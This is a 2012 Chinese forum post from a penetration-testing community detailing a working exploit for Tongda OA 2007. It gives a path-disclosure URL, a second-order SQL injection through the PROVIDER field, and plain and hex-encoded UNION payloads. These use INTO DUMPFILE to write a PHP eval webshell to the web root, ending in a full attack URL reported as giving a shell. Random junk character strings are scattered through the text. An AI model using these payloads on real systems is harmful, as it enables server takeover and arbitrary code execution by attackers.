中国网络渗透测试联盟

标题: 通达OA2007版本漏洞及getshell [打印本页]
作者: admin    时间: 2012-12-20 08:09
标题: 通达OA2007版本漏洞及getshell
目前测试通达OA2007版本
) k( i( }# D8 Z! n- P' S( x, w& C) t- ~; n6 ]

* N" |. c- n6 d2 o( [, l5 c1 ROffice Anywhere 2007 网络智能办公系统
5 m  |) y2 G" y
  T/ j  @& r3 g6 u2 Dhttp://127.0.0.1/pda/news/read.php?P=%cf'    猪点。   暴web目录..- ~# n( N# u. [. w
1 J; U) u& f3 B6 m. Q
* |7 i- u, S0 M4 k, A5 H( m
这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的$ {5 F( T* m! v$ p7 l

( j1 Y$ I1 ?, F* E' A0 y# I6 C例如：SELECT * from USER where USER_ID='{$USERNAME}'  
7 G( q. n% }% o8 Z3 p其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了4 d7 l5 V0 b2 J& f" G  p! y
7 J0 m! w0 R  V  Z/ L
这个时候我们是不是可以组合起来使用哪？/ ?; D5 V6 `# h- z; \& |6 _

0 L9 w4 J2 M0 X6 k7 T7 G' U第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样; O. o4 k2 h. v
union select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10& y2 R0 J% ]4 _7 U3 _$ P

* k4 F4 x2 g% u6 V这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了
, m% l. f, v* K: ^, t8 z
6 x  R: T0 `% B% b- ?那么问题来了，单引号可以吗？当然是不可以的，^_^。。。4 n- E* c: z* @* \+ G- N
) u6 Q0 J, `- a
那么我们用字符串格式带入进行hex编码
& x2 e* V; k+ O3 p1 d( D
; r; t" o9 P' T2 c9 r) S; y%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23! r7 Y( H+ Q; @
2 Q3 }) `  B2 q  n7 ~+ n5 v7 U' j
测试ok，获取oa的webshell1 j( S2 C, ?% O1 X% _/ |

& U/ M8 A9 q, O9 N. P3 a
% Q8 s' ^9 [0 T9 D3 S; w8 opda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
  S* h1 ?+ T' n' V: [9 K' ]+ j直接getwebshell



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2